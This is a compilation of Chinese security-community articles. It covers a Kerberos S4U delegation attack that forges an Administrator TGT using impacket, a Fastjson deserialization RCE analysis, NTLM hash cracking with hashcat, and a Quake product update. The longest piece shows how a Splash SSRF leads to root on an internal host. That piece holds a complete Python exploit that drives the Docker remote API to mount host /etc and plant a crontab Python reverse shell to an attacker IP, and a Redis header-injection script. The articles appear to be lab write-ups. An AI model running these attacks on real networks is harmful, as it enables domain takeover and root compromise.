类的攻击破解出来。 假如我这里选择名为 ateam 的账号，因为只是演示，所以我把密码设置为 1qazCDE#
2.要让这个域账号成为“服务账号”（并不需要以这个账号来启动任何服务），所以我们需要在这个域账号上面设置 spn。只有服务账号才可以开启 S4U 的功能。
setspn -U -A variant/golden ateam
3.为 ateam 账号设置了 SPN 后，用域管理员权限为这个账号开启 s4u2self (protocol transition) 的权限，并设置
S4U2Proxy 列表。
第一处箭头表示为此账号开通 constrained delegation 权限，也就是 S4U2Proxy 权限。第二处箭头表示为此账号开通
protocol transition 权限，也就是 S4U2self 权限。第三处本应是一个由目标 SPN 组成的列表，我们要添加的目标 SPN 是
krbtgt/EAST.COM。但是因为 krbtgt 这个域账号默认是禁用的而且无法启用，导致我们无法利用界面来添加这个 SPN。
可以用如下 powershell 脚本：
Import-Module activedirectory
$user = Get-ADUser ateam -Properties "msDS-AllowedToDelegateTo"
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/EAST.COM") }
我对 powershell 不熟，上面的代码执行完后好像会把选项改成 “仅使用 Kerberos”，还需要手动改回来，最终的设置应该如下：
（考验你 Kerberos 基础的时刻到了，想一下为什么目标 SPN 要设置成 krbtgt/EAST.COM）
4.准备完成
下面来看一下效果，利用 impacket 的 getST.py 与 wmiexec.py：
1、`./getST.py` `-dc-ip` `192.168.99.150` `-spn krbtgt/EAST.COM` `-impersonate`
`Administrator east.com/ateam:1qazCDE#`
(注意，这条命令执行两次的话，先删除上一次执行生成的 Administrator.ccache 文件)
a. `getST.py` 先以 ateam 为账号 1qazCDE# 为密码向域控申请了一张 TGT，我们将这张 TGT 称为 ticket1 吧。这张
TGT 代表的是 ateam 这个账号的身份。
b. 然后利用这张 TGT 进行 S4U2self 请求，利用 S4U2self 以 Administrator 的名义向 TGS
申请了一张访问自身服务的票（虽然并没有任何服务以 ateam 这个账号启动，也许更准确地说应该是申请了一张访问 variant/golden 这个 SPN
的票，还记得前面我们在 ateam 这个账号上面注册了 variant/golden 这个 SPN 吧？） ，我们将这张票称为 ticket2 吧
c. 拿到了 ticket2 后，次向 KDC 发起 SU42Proxy 请求（会带上 ticket2，在下图的 addtitional-tickets
中），以 Administrator 的名义向 KDC 申请一张到 krbtgt/EAST.COM 的票，将这张票称为 ticket3 吧
d. 最后，我们拿到了一张代表着 Administrator 身份的可以访问 krbtgt/EAST.COM 服务的票。 那这张 ticket3
到底是什么票？能做什么？这就是 Administrator 这个账号 TGT 啊！所谓的 TGT 跟其他的 Kerberos 票据没有任何区别。用来访问
TGS 服务或者说在这个例子里面 krbtgt/EAST.COM 这个服务的票就是 TGT。
e. 最终我们拿到的这个 TGT 会被保存到当前目录 Administrator.ccache 下。
export KRB5CCNAME=Administrator.ccache klist
需要去看 SFU 的协议文档才能完全看明白这几步
所以实现的效果就是，我们通过 ateam 这个普通的域账号，通过利用 S4U 协议，拿回了 Adminstrator 这个账号（可以是域内任何账号）的一张
TGT。全程是不需要用到 krbtgt 这个账号的任何信息的。
#### 最终效果
用获取到的 Administrator 的 TGT 访问 2008-DM1 这台机器：
export KRB5CCNAME=Administrator.ccache
./wmiexec.py -no-pass -k administrator@2008-dm1 -dc-ip 192.168.99.150
访问域控：
需要在域里面做的所有操作都可以用 powershell 完成，不过我对 powershell 不熟，也没心情去现学了。
#### 总结
这种方法相对于传统的黄金票据动作稍微有点大。传统的黄金票据也没有太好的检查方案，而本文说到的这种说法好检查一些，只需要查一下域里面哪些账号开了
protocol transtition 权限，以及他们的 S4U2Proxy 的 SPN 列表就可以了。
#### 参考资料
* <https://www.coresecurity.com/blog/kerberos-delegation-spns-and-more>
* <https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/>
* <https://www.blackhat.com/docs/asia-17/materials/asia-17-Hart-Delegate-To-The-Top-Abusing-Kerberos-For-Arbitrary-Impersonations-And-RCE-wp.pdf>
* <https://msdn.microsoft.com/en-us/library/cc246071.aspx>
* <https://www.samba.org/~metze/caps/krb5/s4u2self-trusts/>
* <https://journeyofthegeek.com/2016/11/03/deep-dive-into-resource-based-constrained-delegation-part-2/>
* <https://techsupport.osisoft.com/Troubleshooting/KB/KB01222>
* <https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc738207(v%3dws.10)>
* <https://blog.kloud.com.au/2013/07/11/kerberos-constrained-delegation/>
* <http://www.itprotoday.com/security/how-windows-server-2012-eases-pain-kerberos-constrained-delegation-part-1>
* <https://support.citrix.com/content/dam/supportWS/kA460000000Cc8PCAS/KerberosSSO_NetScaler10.1_120.13.pdf>
* <https://github.com/heimdal/heimdal/blob/master/lib/asn1/krb5.asn1>
* * * | 社区文章 |
# Fastjson <=1.2.47 远程代码执行漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：icematcha@云影实验室
### 0x00前言
近日，Fastjson被传爆出新的“0day”，也引起了大家的高度关注。云影实验室第一时间进行了跟进和分析，通过分析我们发现，此次的漏洞并不算新的漏洞，其实官方早在去年五月就已经推出了相关补丁修复，但可能没有发布相关的安全通告，导致许多用户没有及时升级处理，而在此次护网中就谣传变成了现在的“0day”。
此次漏洞利用的核心点是java.lang.class这个java的基础类，在fastjson
1.2.48以前的版本没有做该类做任何限制，加上代码的一些逻辑缺陷，造成黑名单以及autotype的绕过。下面跟着代码看看这个类的具体应用。
### 0x01分析过程
Fastjson在开始解析json前会优先加载配置，在加载配置时会调用TypeUtils的addBaseClassMappings和loadClass方法将一些经常会用到的基础类和三方库存放到一个ConcurrentMap对象mappings中，类似于缓存机制。
配置加载完成后正式开始解析json数据，在ParserConfig.checkAutoType方法中对’@type’对应的value进行处理。fastjson在1.2.2+版本默认便不再开启autoType选项，且在调用解析函数时我们没有传入预期的反序列化对象的对应类名时，fastjson则通过从mappings中或者deserializers.findClass()方法来获取反序列化对象的对应类。
找到对应类后便返回，不再经过黑名单和autotype的检查流程。而java.lang.class该类恰好存在于deserializers对象的buckets属性中：
接着获取到java.lang.class对应的反序列化处理类MiscCodec：
在MiscCodec类中，java.lang.class拥有加载任意类到mappings中的功能。首先从输入的json串中解析获取val对应的键值：
获取后调用前面提到的TypeUtils. loadClass()方法对该键值进行类加载操作：
在TypeUtils. loadClass()中，我们就可以看到当cache参数为true时，将键值对应的类名放到了mappings中后返回：
Mappings是ConcurrentMap类的，顾名思义就是在当前连接会话生效。所以我们需要在一次连接会话同时传入两个json键值对时，此次连接未断开时，继续解析第二个json键值对。此时我们利用’@type’传入早已在黑名单中的com.sun.rowset.JdbcRowSetImpl类尝试jdni注入利用：
可以看到fastjson直接从mappings中获取到了该类，并在做有效判断后，直接返回了:
此时的mappings中确实存在com.sun.rowset.JdbcRowSetImpl类：
而就像前面已经提到的，黑名单以及autotype开关的检查是在上面那处return之后的，所以也就变相的绕过了黑名单以及autotype开关的检查。
绕过了黑名单和autotype,剩下的利用过程就跟以前的利用完全一致了，利用jdni注入来RCE：
所以最终的漏洞利用其实是分为两个步骤，第一步利用java.lang.class加载黑名单类到mappings中，第二步直接从mappings中取出黑名单类完成漏洞利用。
### 0x02总结
回头来看看，我觉得该漏洞更像是一个逻辑漏洞，而不是依赖一些硬性的漏洞利用点，是代码的运行逻辑缺陷造成的漏洞利用。
在1.2.48版本的补丁中，首先黑名单做了更新，加了两条，其中应该包含了java.lang.class这个类：
MiscCodec中也将传入的cache参数置为了false：
ParserConfig.checkAutoType()也调整了检查策略和逻辑。
### 0x03修复建议
Fastjson在1.2.47及以下的版本受影响，请及时升级到1.2.48及以上版本。
### 0x04参考链接
<https://github.com/alibaba/fastjson> | 社区文章 |
# 打印机无法传输文件引发的学习之旅
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 背景
小伙伴打印机扫描完文件后通过SMB协议发送至电脑上，提示密码错误（配置的密码肯定是正确的），需要完成的效果是通过密码认证传输文件。本文写了整个问题解决的心路历程（内容主要按照时间顺序编写），涉及到了Netbios，NTLM认证，Windows本地组策略相关配置。
PS:因为只能远程测试，所以还在自己虚拟环境里做了测试，涉及的IP做个说明
实际环境：
小伙伴IP：192.168.9.11
打印机IP：192.168.9.252
同事IP：192.168.9.31
实验环境：
虚拟机：192.168.182.129
网络都是可达的，端口都是开放的。
## 2 权限检查
小伙伴电脑上没有截图，因此此处截图是在自己的虚拟机上的。
查看文件夹的权限
属性->共享->高级共享->权限
控制面板->所有控制面板项->网络和共享中心->高级共享设置，启用密码保护
本地组策略->计算机配置->Windows设置->安全设置->用户权限分配
黑白名单，需要远程访问的用户或者组既要在白名单中，又不能在黑名单中。
## 3 NTLM
为了节约纸张，先找了小伙伴的同事尝试`net use`命令来测试，提示是网络密码错误。
既然提示是密码错误，就抓包看下传的认证信息。
本次抓包使用的认证协议为`NTLMv2`，因为参考资料较多，没有做记录，这里附一个参考，也可自行搜索相关内容，[Windows内网协议学习NTLM篇之NTLM基础介绍](https://www.anquanke.com/post/id/193149)。
先将密码计算为NTLM hash，而NTLM认证是`Challenge/Response`机制，Response需要依据NTLM hash来计算。
简述下NTLM认证过程
1. 服务端发送`Challenge`
2. 客户端使用`NTLM hash`与`Challenge`计算`Response`，发送给服务端
3. 服务端使用本地存储的`NTLM hash`与`Challenge`计算，与客户端发送的`Response`比较，相同则认证成功。
NTLMv1与NTLMv2的区别：
1. `Challenge`位数不一样，v1是8字节，v2是16字节（PS:这个实际抓包发现v2也是8字节，没有深入细究了）
2. v1是将 16字节的NTLM hash空填充为21个字节，然后分成三组，每组7比特，作为3DES加密算法的三组密钥，加密Server发来的`Challenge`。 将这三个密文值连接起来得到`Response`。
3. v2使用16字节NTLMv2哈希作为密钥，将HMAC-MD5消息认证代码算法加密一个值(`Challenge`与`Blob`拼接在一起)。得到一个16字节的`NTProofStr`。`Blob`结构如下
### 3.1 NTLM hash
密码：123456为例
1. 转十六进制：`313233343536`
2. 转Unicode（utf-16le）：`310032003300340035003600`
MD4 hash：`32ed87bdb5fdc5e9cba88547376818d4`
import hashlib,binascii
def ntlm_hash(password):
hash = hashlib.new("md4",password.encode("utf-16le")).digest()
return hash
### 3.2 NTLMv2
演示如何从Wireshark中抓取信息，利用hashcat爆破出密码。
NTLMv2的格式为：
`username::domain:challenge:NTProofStr:blob`
challenge
NTLMv2 Response是NTProofStr+blob，前16字节为NTProofStr，剩余部分为Blob
username和domain，此处domain为空
利用hashcat破解
hashcat -m 5600 -a 0 administrator:::c772777d484e72b0:9430...000 <dictionary>
-m：指定类型 5600是NTLM v2
-a：0表示使用字典
小伙伴弱密码，就打码了，不丢人了
密码是正确的，因此大概率认定是小伙伴电脑上的配置问题导致即使正确的密码也是提示密码错误了。
## 4 Windows本地组策略
上述检查完发现密码发送的的确是正确之后，只能去寻找其他原因了，再次搜索到了相关组策略设置。
本地组策略->计算机配置->Windows设置->安全设置->安全选项
网络安全：LAN管理器身份验证级别（PS:这个搜到的最多的，每个配置下基本就是字面意思，但是我试了几个都没效果，因为通过3.2部分的内容可以知道不是协商失败，而是认证的时候失败了）
网络安全：限制NTLM：传入NTLM流量
从没有定义明确指定了允许所有，然而并没有什么用。
另外还有一些明显跟NTLM相关的，但都不是现在问题的关键。
后来小伙伴的同事不空了，就只好用打印机直接测试了，抓完包就懵了，因为打印机使用了SMBv1协议，还不是445端口，是基于Netbios的，因此只能再去学习下Netbios和SMBv1（后来才知道也称为CIFS）
## 5 Netbios
参照[Wiki](https://en.wikipedia.org/wiki/NetBIOS)上的描述，`NetBIOS`是一`个API`，在不同协议上的实现则是不同的协议。
**NetBIOS** ：1983年由IBM推出，用于IBM PC网络局域网上软件通信的API。
**NBF协议** ：1985年IBM推出`NetBIOS Extended User Interface (NetBEUI)`，扩展了基础NetBIOS
API，用于`令牌环网`
**NBX协议** ：基于`IPX/SPX`的NetBIOS实现，1986年由Novell推出。
**NBT** ：基于`TCP/IP`的NetBIOS实现，[RFC
1001:NBT的概念和方法](https://tools.ietf.org/html/rfc1001)、[RFC
1002:NBT的详细规范](https://tools.ietf.org/html/rfc1002)
显然抓包的数据是 **NBT**
NetBIOS提供三种不同的服务
* 名称服务（NetBIOS-NS），用于名称注册和解析
* 数据分发服务（NetBIOS-DGM）,用于无连接通信
* 会话服务（NetBIOS-SSN）,用户面向连接的通信
三种服务使用的端口
打印机先通过UDP 137端口进行Name到IP的转换
之后通过TCP 139端口进行认证和文件传输，此时就涉及到CIFS协议了。
## 6 CIFS
### 6.1 介绍
[微软文档](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cifs/d416ff7c-c536-406e-a951-4f04b2fd1d2b)
根据文档介绍可知`CIFS`也是`SMB`，应该可以理解为SMB中用于文件传输的部分（如果有错望指正）。
文档下载发现页数700+，全看是不可能的了，直接看需要了解的部分。
需要了解的是`Negotiate`和`Session Setup AndX`
### 6.2 SMB消息结构
参考微软文档的`2.2.3 SMB Message Structure`部分
SMB消息结构由三部分组成
* 定长消息头（SMB Header）
* 变长参数块（Parameter Block）
变长数据块（Data Block）
**6.2.1 SMB Header**
SMB_Header{
UCHAR Protocol[4];
UCHAR Command;
SMB_ERROR Status;
UCHAR Flags;
USHORT Flags2;
USHORT PIDHigh;
UCHAR SecurityFeatures[8];
USHORT Reserved;
USHORT TID;
USHORT PIDLow;
USHORT UID;
USHORT MID;
}
关心的其实就`Command`和`SMB_ERROR Status`
**Command** ：1个字节，用于表示当前命令。
**SMB_ERROR Status** ：4个字节，由服务端返回错误信息给客户端。
关心的Command:`Negotiate(0x72)`和`Session Setup AndX(0x73)`
`SMB_ERROR Status`由三部分组成：
1字节`ErrorClass`
1字节`保留`
2字节`ErrorCode`
ErrorClass和ErrorCode对应表见参考微软文档[2.2.2.4 SMB Error Classes and
Codes](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cifs/8f11e0f3-d545-46cc-97e6-f00569e3e1bc)
### 6.3 SMB_COM_NEGOTIATE(0x72)
参考微软文档的`2.2.4.52 SMB_COM_NEGOTIATE (0x72)`部分。
于初始化SMB连接，所有SMB消息前必须先发送该命令。
**6.3.1 Request**
SMB_Parameters{
UCHAR WordCount;
}
SMB_Data{
USHORT ByteCount;
Bytes{
UCHAR Dialects[];
}
}
SMB_Dialect{
UCHAR BufferFormat;
OEM_STRING DialectString;
}
Parameter部分无内容，因此`WordCount`填充0x00
**ByteCount** ：Bytes内容的长度
**Bytes** ：可用认证协议列表，单个为SMB_Dialect结构体
**BufferFormat** ：固定为0x02
**DialectString** ：认证协议名称字符串
**6.3.2 Response**
根据选择的认证协议的不同，结构体内容也不同，本次只关注NTLM认证
SMB_Parameters{
UCHAR WordCount;
Words{
USHORT DialectIndex;
UCHAR SecurityMode;
USHORT MaxMpxCount;
USHORT MaxNumberVcs;
ULONG MaxBufferSize;
ULONG MaxRawSize;
ULONG SessionKey;
ULONG Capabilities;
FILETIME SystemTime;
SHORT ServerTimeZone;
UCHAR ChallengeLength;
}
}
SMB_Data{
USHORT ByteCount;
Bytes{
UCHAR Challenge[];
SMB_STRING DomainName[];
}
}
关心的是Data部分，会返回`Challenge`值
### 6.4 SMB_COM_SESSION_SETUP_ANDX (0x73)
参考微软文档的`2.2.4.53 SMB_COM_SESSION_SETUP_ANDX (0x73)`部分。
用于NTLM认证登陆。
**6.4.1 Request**
SMB_Parameters{
UCHAR WordCount;
Words{
UCHAR AndXCommand;
UCHAR AndXReserved;
USHORT AndXOffset;
USHORT MaxBufferSize;
USHORT MaxMpxCount;
USHORT VcNumber;
ULONG SessionKey;
USHORT OEMPasswordLen;
USHORT UnicodePasswordLen;
ULONG Reserved;
ULONG Capabilities;
}
}
SMB_Data{
USHORT ByteCount;
Bytes{
UCHAR OEMPassword[];
UCHAR UnicodePassword[];
UCHAR Pad[];
SMB_STRING AccountName[];
SMB_STRING PrimaryDomain[];
SMB_STRING NativeOS[];
SMB_STRING NativeLanMan[];
}
}
关注的内容是Data部分，又因为选择认证的不同意义会不一样，此处就是NTLM认证的情况下的说明。
**OEMPassword** ：LM response（v1或者v2）
**UnicodePassword** ：NTLM response(v1或者v2)
**AccountName** ：用户名
**PrimaryDomain** ：域名或计算机名
其中OEMPassword和UnicodePassword的意义是在[3.2.4.2.4 User
Authentication](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cifs/3a3cdd47-5b43-4276-91f5-645b82b0938f)
**6.4.2 Response**
这部分不是关心的内容了，仅列个结构体
SMB_Parameters{
UCHAR WordCount;
Words{
UCHAR AndXCommand;
UCHAR AndXReserved;
USHORT AndXOffset;
USHORT Action;
}
}
SMB_Data{
USHORT ByteCount;
Bytes{
UCHAR Pad[];
SMB_STRING NativeOS[];
SMB_STRING NativeLanMan[];
SMB_STRING PrimaryDomain[];
}
}
认证失败是没有内容的，是看SMB Header中的`Error Class 0x01`和`Error Code 0x05`
## 7 NTLMv1
演示如何从Wireshark中抓取信息，利用hashcat爆破出密码。
NTLMv1的格式为：
`username::hostname:LM response:NTLM response:challenge`
需要的字段已经在上面内容中说明了。
challenge
其他信息
利用hashcat破解
hashcat64.exe -m 5500 -a 0 administrator::aaa:aba89b38ddfe21a...:20c41a8ddd3f8...:b204217... <dictionary>
发现密码发送的的确是正确的。
## 8 脑洞
提示的是网络密码错误，但是通过抓包分析，发现发送的密码是正确的，就已经很无奈了，不过知道了Windows认证使用的是NTLM，那么远程桌面登陆肯定也是（不考虑域的情况），因此不再搜索文件共享密码错误，换成搜索远程桌面连接密码错误之后，搜到了解决方案，还有一个组策略配置项，令人万万没想到。[远程桌面连接密码错误](https://blog.mydns.vip/1025.html)
本地组策略->计算机配置->Windows设置->安全设置->安全选项
网络访问：本地账户的共享和安全模型（设置为经典） | 社区文章 |
# Quake新功能更新：一键C段查询与数据去重
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**Quake又双叒（ruò）叕（zhuó）来更新了！**
能够让系统变得更加易用、智能是我们重要的设计方向之一，网络空间测绘系统本身蕴含的巨大数据价值，我们希望能够提供更多便捷的设计和更加成熟的产品化，为大家提供挖掘和发现这些潜在价值的平台。
技术不应该带有傲慢与偏见，能力与责任并行。
## IP地址C段一键查询
新版本增加了一个非常实用的小功能，我们在检索结果页的每一个IP旁边增加了一个新的工具，能够一键检索该IP所在的C段。别告诉我你还不知道可以搜IP段（支持cidr查询），无论是攻方或是守方，找到入口或观察可能存在的入口都是非要有必要的。
## 检索结果列表模式
呈现丰富的检索结果和有关内容是Quake的特色之一，但在眼花缭乱的内容之上，往往难以快速精准的定位到感兴趣的目标，我们在设计思路上返璞归真，尝试探索回到传统的列表模式，呈现一些用于判断目标价值的关键信息，以此帮助大家在梳理头绪的阶段能够找到感兴趣的目标。
在列表模式下，还可以在web服务、非web服务和全部显示三种分类之间进行快速切换，需要注意的是，每次切换都会根据现有的语法重新执行检索，如果大家拼接的语句较长，推荐使用收藏订阅功能先进行收藏，以免误操作后最终导致心爱的电脑被砸坏。
除此之外，我们还为此模式设计了几个有意思的附属功能：
**1、表头的快速排序功能，点击带有↕箭头图标的表头即可完成排序切换：
**
**2、在列表模式下，同样能够执行C段检索：
**
**3、 所有资产属性均支持点击后快速检索，与经典模式下保持一致：
**
**4、 列表模式下可使用分类旁的检索框进行本页内容的关键字检索：
**
**5、点击任何类型下的端口响应信息均可进入response详情页面：
**
**6、点击网站标题当中的favicon同样能够执行快速检索：**
希望无数次修复下打磨出的功能能够让大家感到这是一个具有匠心饱含深意的功能。
## 历史数据去重
Quake由于自身独有的存储策略（每条服务数据以IP+Port+Time为主键形成一条数据，这样做是为了给大家提供每个端口的历史变化信息），导致了小伙伴在用我们系统时，总是觉得数据有重复。因此我们引入了数据去重的按钮，例如在搜索一个IP地址时：
可以看到，同IP同端口有多条数据，点击“数据去重”后，就会显示每个端口的最新数据：
## 聚合分析页优化
我们对上一次更新的聚合分析功能进行了可视优化，现在能够更加清晰的看到数字量级的对比：
## 文末福利
360Quake首次推出线上用户激励计划“当红蓝对抗遇上空间测绘”。
**QUAKE年度活动倒计时最后10天啦，最后10天啦，最后10天啦，重要的事情说三遍，赶快行动起来吧！**
群人数已经超两百，二维码失效，请添加微信：quake_360 邀您入群！ | 社区文章 |
# 【技术分享】Splash SSRF到获取内网服务器ROOT权限
|
##### 译文声明
本文是翻译文章，文章来源：b1ngz@先知安全技术社区
原文地址：<https://xianzhi.aliyun.com/forum/read/1872.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
**0x 01 简介**
最近自己写的小工具在扫描的过程，发现了某公司在公网开放了一个使用开源系统的站点，该系统为 Splash，是一个使用 Python3、Twisted 和
QT5写的 javascript rendering service，即提供了HTTP API 的轻量级浏览器，默认监听在 8050 (http) 和
5023 (telnet) 端口。
Splash 可以根据用户提供的url来渲染页面，并且url没有验证，因此可导致SSRF (带回显)。和一般的 SSRF 不同的是，除了 GET
请求之外，Splash还支持 POST。这次漏洞利用支持 POST 请求，结合内网 Docker Remote
API，获取到了宿主机的root权限，最终导致内网漫游。文章整理了一下利用过程，如果有哪里写的不对或者不准确的地方，欢迎大家指出～
**0x 02 环境搭建**
为了不涉及公司的内网信息，这里在本地搭建环境，模拟整个过程
画了一个简单的图来描述环境
这里使用 Virtualbox 运行 Ubuntu 虚拟机作为 Victim，宿主机作为 Attacker
Attacker IP: 192.168.1.213
Victim:
IP: 192.168.1.120 使用桥接模式
内网IP：172.16.10.74，使用 Host-only 并且在 Adanced 中去掉 Cable Connected
Splash开放在 http://192.168.1.120:8050 ，版本为 v2.2.1，Attacker可访问
Docker remote api在 http://172.16.10.74:2375，版本为 17.06.0-ce，Attacker无法访问
JIRA 运行在 http://172.16.10.74:8080，Attacker无法访问
Victim 机器上需要装 docker，安装步骤可以参考 文档
因为后面测试需要利用 /etc/crontab 反弹，所以需要启动 cron
service cron start
docker默认安装不会开放 tcp 2375 端口，这里需要修改一下配置，让其监听在 172.16.10.74 的 2375 端口
在 /etc/default/docker 文件中添加
DOCKER_OPTS="-H tcp://172.16.10.74:2375
创建目录 docker.service.d (如果没有的话)
mkdir /etc/systemd/system/docker.service.d/
修改 vim /etc/systemd/system/docker.service.d/docker.conf 的内容为
[Service]
ExecStart=
EnvironmentFile=/etc/default/docker
ExecStart=/usr/bin/dockerd -H fd:// $DOCKER_OPTS
重启 docker
systemctl daemon-reload
service docker restart
查看是否成功监听
root@test:/home/user# netstat -antp | grep LISTEN
tcp 0 0 172.16.10.74:2375 0.0.0.0:* LISTEN 1531/dockerd
root@test:/home/user# curl 172.16.10.74:2375
{"message":"page not found"}
运行 splash
docker pull scrapinghub/splash:2.2.1
sudo docker run --name=splash -d -p 5023:5023 -p 8050:8050 -p 8051:8051 scrapinghub/splash:2.2.1
运行 JIRA
docker pull cptactionhank/atlassian-jira:latest
docker run -d -p 172.16.10.74:8080:8080 --name=jira cptactionhank/atlassian-jira:latest
可以测试一下，宿主机上无法访问以下两个地址的
# docker remote api
http://192.168.1.120:2375/
# jira
http://192.168.1.120:8080/
**0x 03 利用过程**
带回显SSRF
首先来看一下 SSRF
在宿主机上访问 http://192.168.1.120:8050/ ，右上角有一个填写url的地方，这里存在带回显的ssrf
这里填写内网jira的地址 http://172.16.10.74:8080，点击 Render
me!，可以看到返回了页面截图、请求信息和页面源码，相当于是一个内网浏览器!
查看 文档 得知，有个 render.html 也可以渲染页面，这里访问 docker remote
api，http://172.16.10.74:2375
Lua scripts尝试
阅读了下文档，得知 splash 支持执行自定义的 Lua scripts，也就是首页填写url下面的部分
具体可以参考这里 Splash Scripts Tutorial
但是这里的 Lua 默认是运行在 Sandbox 里，很多标准的 Lua modules 和 functions 都被禁止了
文档 <http://splash.readthedocs.io/en/2.2.1/scripting-libs.html#standard-library> 列出了 Sandbox 开启后(默认开启)可用的 Lua modules：
string
table
math
os
这里有一个os，可以执行系统命令 <http://www.lua.org/manual/5.2/manual.html#pdf-os.execute>
但是试了一下 require os，返回 not found，所以没办法实现
local os = require("os")
function main(splash)
end
通过docker remote api 获取宿主机root权限
再看了遍文档，发现除了 GET 请求，还支持 POST，具体可以参考这里
<http://splash.readthedocs.io/en/2.2.1/api.html#render-html>
通过之前对该公司的测试，得知某些ip段运行着docker remote api，所以就想尝试利用post请求，调用api，通过挂载宿主机 /etc 目录
，创建容器，然后写 crontab 来反弹shell，获取宿主机root权限。
根据docker remote api 的 文档 ，实现反弹需要调用几个 API，分别是
POST /images/create ：创建image，因为当时的环境可以访问公网，所以就选择将创建好的 image 先push到docker
hub，然后调用 API 拉取
POST /containers/create: 创建 container，这里需要挂载宿主机 /etc 目录
POST /containers/(id or name)/start : 启动container，执行将反弹定时任务写入宿主机的 /etc/crontab
主要说一下构建 image，这里使用了 python 反弹shell 的方法，代码文件如下
Dockerfile
FROM busybox:latest
ADD ./start.sh /start.sh
WORKDIR /
start.sh：container启动时运行的脚本，负责写入宿主机 /etc/crontab ，第一个参数作为反弹host，第二个参数为端口
#!/bin/sh
echo "* * * * * root python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$1", $2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'" >> /hostdir/crontab
构建并push
docker build -t b1ngz/busybox:latest .
docker push b1ngz/busybox:latest
虽然 splash 支持 post 请求，但是比较坑的是，文档里没有给向目标地址发 POST 请求的例子，只有参数说明，看了遍文档，关键参数有这几个
url : 请求url
http_method：请求url的方法
headers: 请求 headers
body: 请求url的body，默认为 application/x-www-form-urlencoded
测试的时候，一开始一直使用 get 方法来请求 render.html 接口，但总是返回400 ，卡了很久
{
error: 400,
description: "Incorrect HTTP API arguments",
type: "BadOption",
info: {
argument: "headers",
description: "'headers' must be either a JSON array of (name, value) pairs or a JSON object",
type: "bad_argument"
}
}
搜了一下，在 github issue 里找到了原因，得用post请求，并且 headers 得在 body里，且类型为
json，略坑，这里给出利用脚本，代码有注释，大家可以自己看看
# -*- coding: utf-8 -*- __author__ = 'b1ngz'
import json
import re
import requests
def pull_image(api, docker_api, image_name, image_tag):
print("pull image: %s:%s" % (image_name, image_tag))
url = "%s/render.html" % api
print("url: %s" % url)
docker_url = '%s/images/create?fromImage=%s&tag=%s' % (docker_api, image_name, image_tag)
print("docker_url: %s" % docker_url)
params = {
'url': docker_url,
'http_method': 'POST',
'body': '',
'timeout': 60
}
resp = requests.get(url, params=params)
print("request url: %s" % resp.request.url)
print("status code: %d" % resp.status_code)
print("resp text: %s" % resp.text)
print("-" * 50)
def create_container(api, docker_api, image_name, image_tag, shell_host, shell_port):
image = "%s:%s" % (image_name, image_tag)
print("create_container: %s" % image)
body = {
"Image": image,
"Volumes": {
"/etc": { # 挂载根目录有时候会出错，这里选择挂载/etc
"bind": "/hostdir",
"mode": "rw"
}
},
"HostConfig": {
"Binds": ["/etc:/hostdir"]
},
"Cmd": [ # 运行 start.sh，将反弹定时任务写入宿主机/etc/crontab
'/bin/sh',
'/start.sh',
shell_host,
str(shell_port),
],
}
url = "%s/render.html" % api
docker_url = '%s/containers/create' % docker_api
params = {
'http_method': 'POST',
'url': docker_url,
'timeout': 60
}
resp = requests.post(url, params=params, json={
'headers': {'Content-Type': 'application/json'},
"body": json.dumps(body)
})
print(resp.request.url)
print(resp.status_code)
print(resp.text)
result = re.search('"Id":"(w+)"', resp.text)
container_id = result.group(1)
print(container_id)
print("-" * 50)
return container_id
def start_container(api, docker_api, container_id):
url = "%s/render.html" % api
docker_url = '%s/containers/%s/start' % (docker_api, container_id)
params = {
'http_method': 'POST',
'url': docker_url,
'timeout': 10
}
resp = requests.post(url, params=params, json={
'headers': {'Content-Type': 'application/json'},
"body": "",
})
print(resp.request.url)
print(resp.status_code)
print(resp.text)
print("-" * 50)
def get_result(api, docker_api, container_id):
url = "%s/render.html" % api
docker_url = '%s/containers/%s/json' % (docker_api, container_id)
params = {
'url': docker_url
}
resp = requests.get(url, params=params, json={
'headers': {
'Accept': 'application/json'},
})
print(resp.request.url)
print(resp.status_code)
result = re.search('"ExitCode":(w+),"', resp.text)
exit_code = result.group(1)
if exit_code == '0':
print('success')
else:
print('error')
print("-" * 50)
if __name__ == '__main__':
# splash地址和端口
splash_host = '192.168.1.120'
splash_port = 8050
# 内网docker的地址和端口
docker_host = '172.16.10.74'
docker_port = 2375
# 反弹shell的地址和端口
shell_host = '192.168.1.213'
shell_port = 12345
splash_api = "http://%s:%d" % (splash_host, splash_port)
docker_api = 'http://%s:%d' % (docker_host, docker_port)
# docker image，存在docker hub上
image_name = 'b1ngz/busybox'
image_tag = 'latest'
# 拉取 image
pull_image(splash_api, docker_api, image_name, image_tag)
# 创建 container
container_id = create_container(splash_api, docker_api, image_name, image_tag, shell_host, shell_port)
# 启动 container
start_container(splash_api, docker_api, container_id)
# 获取写入crontab结果
get_result(splash_api, docker_api, container_id)
**其他利用思路**
其他思路的话，首先想到 ssrf 配合 gopher 协议，然后结合内网 redis，因为splash是基于qt的， 查了一下文档 ，qtwebkit
默认不支持 gopher 协议，所以无法使用 gopher 。
后来经过测试，发现请求 headers 可控 ，并且支持 n 换行
这里测试选择了 redis 3.2.8 版本，以root权限运行，监听在 172.16.10.74，测试脚本如下，可以成功执行
# -*- coding: utf-8 -*- __author__ = 'b1ng'
import requests
def test_get(api, redis_api):
url = "%s/render.html" % api
params = {
'url': redis_api,
'timeout': 10
}
resp = requests.post(url, params=params, json={
'headers': {
'config set dir /rootn': '',
},
})
print(resp.request.url)
print(resp.status_code)
print(resp.text)
if __name__ == '__main__':
# splash地址和端口
splash_host = '192.168.1.120'
splash_port = 8050
# 内网docker的地址和端口
docker_host = '172.16.10.74'
docker_port = 6379
splash_api = "http://%s:%d" % (splash_host, splash_port)
